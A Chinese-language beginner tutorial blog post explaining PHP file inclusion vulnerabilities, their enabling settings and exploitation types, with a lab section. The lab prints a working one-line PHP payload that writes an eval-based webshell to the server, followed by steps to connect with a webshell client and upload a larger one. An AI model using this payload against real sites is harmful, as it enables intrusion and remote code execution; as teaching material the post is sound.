网络安全实验室从0到1玩转网络安全网络与信息安全

从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】

2018-05-28  本文已影响19人  _07

概述

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为包含。

程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。

几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP、ASP、ASP.NET程序中比较少。


一、原理分析

大多数Web 语言都可以使用文件包含操作,其中PHP 语言所提供的文件包含功能太强大、太灵活,所以文包含漏洞经常出现在PHP 语言中。

简单的说,文件包含就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。


二、PHP文件包含函数

PHP中提供了四个文件包含的函数,分别为:


三、利用条件

  1. 参数配置allow_url_fopen=On(开启本地包含),allow_url_include=On (开启远程包含)


    image.png
  2. 用户可以控制文件包含的输入


四、文件包含漏洞利用

  1. 读取敏感文件

    • 利用条件
      1. 目标主机文件存在
      2. 具有文件可读权限
      3. 任意文件读取
    • 示例


      image.png
  2. 读取本地文件

    • 示例


      image.png
  3. 传输PHP文件(使用base64获取源码)

    • 示例


      image.png
  4. 执行PHP命令(php://input

    • 示例


      image.png

五、实验

实验目的:
利用文件包含漏洞,写入木马并执行上传Web Shell

实验步骤:
Step1:利用文件包含漏洞执行PHP命令

语法:

<?php fputs(fopen("2.php","w"),"<?php @eval(\$_POST['hacker'])?>");  ?>
//打开1.php文件并写入一句话木马

Step2:访问刚创建的文件

Step3:用菜刀连接

Step4:右击->上传文件(上传大马)

Step5:访问大马

Step6:输入密码进入操作页,拿到Web Shell


image.png

注:《白帽子讲Web安全》中有一句话:互联网本来是安全的,自从有了研究安全的人之后,互联网就变得不安全了。
所以,小编希望大家都是白帽子,而不是一群只会搞恶作剧的骇客。

小编也在学习,写的不好见谅。
从0到1学习网络安全 【目录】
小编最近建了交流群方便大家交流学习,群内有小编平时整理的学习资料、视频、工具等。
白帽交流群 【简介】
感谢大家支持。

上一篇下一篇

猜你喜欢

热点阅读